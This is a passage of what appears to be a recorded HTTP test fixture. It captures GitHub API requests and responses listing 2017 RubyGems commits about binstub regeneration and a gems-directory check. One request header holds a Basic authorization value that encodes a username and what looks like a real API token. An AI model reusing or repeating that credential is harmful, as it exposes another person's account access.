5OiBzdHlsZSBjb25mb3JtYW5jZSIsInRyZWUiOnsic2hhIjoiNTljNDQ3MTcyZDNiZDMyMzE4NzIzMzQ1MDRmNjBhOTYwNjIzNWVlNCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzU5YzQ0NzE3MmQzYmQzMjMxODcyMzM0NTA0ZjYwYTk2MDYyMzVlZTQifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy83MTQ3MzI3NzViNjNmNGM1NDI4OWExMTIwMDFlNDE0YWE3ZmU1ZmEwIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzcxNDczMjc3NWI2M2Y0YzU0Mjg5YTExMjAwMWU0MTRhYTdmZTVmYTAiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNzE0NzMyNzc1YjYzZjRjNTQyODlhMTEyMDAxZTQxNGFhN2ZlNWZhMCIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy83MTQ3MzI3NzViNjNmNGM1NDI4OWExMTIwMDFlNDE0YWE3ZmU1ZmEwL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoib2xsZW9sbGVvbGxlIiwiaWQiOjIxMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjExP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9vbGxlb2xsZW9sbGUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJvbGxlb2xsZW9sbGUiLCJpZCI6MjExLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMTE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL29sbGVvbGxlb2xsZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjUxNTY4Y2YxZTcwNDE5MTYwOTZhMWJmNzNmODNhMmU4ZmViN2U3MWYiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNTE1NjhjZjFlNzA0MTkxNjA5NmExYmY3M2Y4M2EyZThmZWI3ZTcxZiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC81MTU2OGNmMWU3MDQxOTE2MDk2YTFiZjczZjgzYTJlOGZlYjdlNzFmIn1dfV0= http_version: recorded_at: Sat, 06 Jan 2018 14:59:32 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?page=4&per_page=30&since=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:33 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4628' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"6fc792bdaf5d0b5c5c1e1b764d2ca411" Last-Modified: - Mon, 27 Nov 2017 11:51:34 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.084652' X-Github-Request-Id: - A142:4D95:F477F6:1C82B64:5A50E454 body: encoding: ASCII-8BIT string: '[{"sha":"d57c530ec72b7024fe0c1a160f853794ea14a45c","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-27T11:51:34Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-27T11:51:34Z"},"message":"Auto merge of #2099 - tjouan:commands-setup-regenerate_binstubs, r=hsbt\n\nUse setup command --regenerate-binstubs option flag\n\nTest setup command binstubs regeneration\n----------------------------------------\n\n Since 909b5fb, executable wrappers are regenerated using pristine\ncommand if any gem are installed. New test is inspired by those for\n`Gem::Commands::PristineCommand`.\n\nFix setup command --regenerate-binstubs option flag\n---------------------------------------------------\n\n `--[no-]regenerate-binstubs` option flag was added in 909b5fb but is\nnot used yet. This change tests if the option was set before calling\n`Gem::Commands::SetupCommand#regenerate_binstubs`.\n\n We also simplify how the option is set, since it''s more similar to\n`format_executable` for example (simple option flag), rather than\n`document` where we use the same hash key for multiple options. This\nway we can just test the value being either true or false, instead of\ntesting key presence (`Hash#key?`) or relying on `nil` being returned\nfor nonexistent hash keys with `Hash#[]`.","tree":{"sha":"7ee5e1888c09a79964469527c35b31ba7e1de15c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7ee5e1888c09a79964469527c35b31ba7e1de15c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d57c530ec72b7024fe0c1a160f853794ea14a45c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d57c530ec72b7024fe0c1a160f853794ea14a45c","html_url":"https://github.com/rubygems/rubygems/commit/d57c530ec72b7024fe0c1a160f853794ea14a45c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d57c530ec72b7024fe0c1a160f853794ea14a45c/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"15fd512cdd97a3fa64bfa266c8de2c9fc665312c","url":"https://api.github.com/repos/rubygems/rubygems/commits/15fd512cdd97a3fa64bfa266c8de2c9fc665312c","html_url":"https://github.com/rubygems/rubygems/commit/15fd512cdd97a3fa64bfa266c8de2c9fc665312c"},{"sha":"4619f13a33642b132ebcc4e82772d89b4bcff0d3","url":"https://api.github.com/repos/rubygems/rubygems/commits/4619f13a33642b132ebcc4e82772d89b4bcff0d3","html_url":"https://github.com/rubygems/rubygems/commit/4619f13a33642b132ebcc4e82772d89b4bcff0d3"}]},{"sha":"15fd512cdd97a3fa64bfa266c8de2c9fc665312c","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-27T11:24:52Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-27T11:24:52Z"},"message":"Auto merge of #2104 - tjouan:commands-setup-install_default_bundler_gem-gems_dir_check, r=hsbt\n\nCheck gems dir existence before removing bundler\n\n In `Gem::Commands::SetupCommand#install_default_bundler_gem`, check if\ngems directory exists before attempting to uninstall potential bundler\ngems, else `Dir.entries` might fail:\n\n env \\\n GEM_HOME=/wrkdirs/usr/ports/devel/ruby-gems/work/stage/usr/local/lib/ruby/gems/2.4 \\\n /usr/local/bin/ruby24 setup.rb \\\n --destdir=/wrkdirs/usr/ports/devel/ruby-gems/work/stage \\\n --backtrace\n ERROR: While executing gem ... (Errno::ENOENT)\n No such file or directory @ dir_initialize - /usr/local/lib/ruby/gems/2.4/gems\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:371:in `open''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:371:in `entries''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:371:in `install_default_bundler_gem''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:151:in `execute''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/command.rb:310:in `invoke_with_build_args''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/command_manager.rb:171:in `process_args''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/command_manager.rb:141:in `run''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/gem_runner.rb:59:in `run''\n setup.rb:46:in `
''","tree":{"sha":"d764e9d3a72495b619b593db9e5796e3d239744e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d764e9d3a72495b619b593db9e5796e3d239744e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/15fd512cdd97a3fa64bfa266c8de2c9fc665312c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/15fd512cdd97a3fa64bfa266c8de2c9fc665312c","html_url":"https://github.com/rubygems/rubygems/commit/15fd512cdd97a3fa64bfa266c8de2c9fc665312c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/15fd512cdd97a3fa64bfa266c8de2c9fc665312c/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","url":"https://api.github.com/repos/rubygems/rubygems/commits/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","html_url":"https://github.com/rubygems/rubygems/commit/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6"},{"sha":"f5872d0e4d3c6553107086c9f73d81cd2b851e81","url":"https://api.github.com/repos/rubygems/rubygems/commits/f5872d0e4d3c6553107086c9f73d81cd2b851e81","html_url":"https://github.com/rubygems/rubygems/commit/f5872d0e4d3c6553107086c9f73d81cd2b851e81"}]},{"sha":"60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-27T05:00:13Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-27T05:00:13Z"},"message":"Auto merge of #2103 - tjouan:plugins-doc-multiple_loads_warning-remove, r=hsbt\n\nRemove multi load warning from plugins documentation\n\n Since c0312450, a RubyGems plugin is now only loaded from the latest\ninstalled gem. It was released in version 2.1.0.","tree":{"sha":"c423b0c1c96b2ee3eeea5aa66bcf3e483e12913f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c423b0c1c96b2ee3eeea5aa66bcf3e483e12913f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","html_url":"https://github.com/rubygems/rubygems/commit/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/60cddf1eb87f7d70ff8344fd7583dec155c3e8b6/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a045965772dad721de67d67a7c477a690110eba","url":"https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba","html_url":"https://github.com/rubygems/rubygems/commit/4a045965772dad721de67d67a7c477a690110eba"},{"sha":"371622c7609ee3b88359fe4b43f5991569f435bc","url":"https://api.github.com/repos/rubygems/rubygems/commits/371622c7609ee3b88359fe4b43f5991569f435bc","html_url":"https://github.com/rubygems/rubygems/commit/371622c7609ee3b88359fe4b43f5991569f435bc"}]},{"sha":"f5872d0e4d3c6553107086c9f73d81cd2b851e81","commit":{"author":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-26T17:34:35Z"},"committer":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-27T02:05:51Z"},"message":"Check gems dir existence before removing bundler\n\n In `Gem::Commands::SetupCommand#install_default_bundler_gem'', check if\ngems directory exists before attempting to uninstall potential bundler\ngems, else `Dir.entries'' might fail:\n\n env \\\n GEM_HOME=/wrkdirs/usr/ports/devel/ruby-gems/work/stage/usr/local/lib/ruby/gems/2.4 \\\n /usr/local/bin/ruby24 setup.rb \\\n --destdir=/wrkdirs/usr/ports/devel/ruby-gems/work/stage \\\n --backtrace\n ERROR: While executing gem ... (Errno::ENOENT)\n No such file or directory @ dir_initialize - /usr/local/lib/ruby/gems/2.4/gems\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:371:in `open''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:371:in `entries''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:371:in `install_default_bundler_gem''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/commands/setup_command.rb:151:in `execute''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/command.rb:310:in `invoke_with_build_args''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/command_manager.rb:171:in `process_args''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/command_manager.rb:141:in `run''\n /wrkdirs/usr/ports/devel/ruby-gems/work/rubygems-2.7.2/lib/rubygems/gem_runner.rb:59:in `run''\n setup.rb:46:in `
''","tree":{"sha":"d1a8027e84a0c8fae8de2b2698b3a67fb8450836","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d1a8027e84a0c8fae8de2b2698b3a67fb8450836"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f5872d0e4d3c6553107086c9f73d81cd2b851e81","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f5872d0e4d3c6553107086c9f73d81cd2b851e81","html_url":"https://github.com/rubygems/rubygems/commit/f5872d0e4d3c6553107086c9f73d81cd2b851e81","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f5872d0e4d3c6553107086c9f73d81cd2b851e81/comments","author":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"committer":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a045965772dad721de67d67a7c477a690110eba","url":"https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba","html_url":"https://github.com/rubygems/rubygems/commit/4a045965772dad721de67d67a7c477a690110eba"}]},{"sha":"371622c7609ee3b88359fe4b43f5991569f435bc","commit":{"author":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-25T20:23:49Z"},"committer":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-27T01:53:44Z"},"message":"Remove multi load warning from plugins documentation\n\n Since c0312450, a RubyGems plugin is now only loaded from the latest\ninstalled gem. It was released in version 2.1.0.","tree":{"sha":"c423b0c1c96b2ee3eeea5aa66bcf3e483e12913f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c423b0c1c96b2ee3eeea5aa66bcf3e483e12913f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/371622c7609ee3b88359fe4b43f5991569f435bc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/371622c7609ee3b88359fe4b43f5991569f435bc","html_url":"https://github.com/rubygems/rubygems/commit/371622c7609ee3b88359fe4b43f5991569f435bc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/371622c7609ee3b88359fe4b43f5991569f435bc/comments","author":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"committer":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a045965772dad721de67d67a7c477a690110eba","url":"https://api.github.com/repos/rubygems/rubygems/commits/4a045965772dad721de67d67a7c477a690110eba","html_url":"https://github.com/rubygems/rubygems/commit/4a045965772dad721de67d67a7c477a690110eba"}]},{"sha":"4619f13a33642b132ebcc4e82772d89b4bcff0d3","commit":{"author":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-24T02:44:10Z"},"committer":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-25T17:19:47Z"},"message":"Fix setup command --regenerate-binstubs option flag\n\n `--[no-]regenerate-binstubs'' option flag was added in 909b5fb8 but is\nnot used yet. This change tests if the option was set before calling\nGem::Commands::SetupCommand#regenerate_binstubs.\n\n We also simplify how the option is set, since it''s more similar to\n`format_executable'' for example (simple option flag), rather than\n`document'' where we use the same hash key for multiple options. This way\nwe can just test the value being either true or false, instead of\ntesting key presence (`Hash#key?'') or relying on `nil'' being returned\nfor nonexistent hash keys with 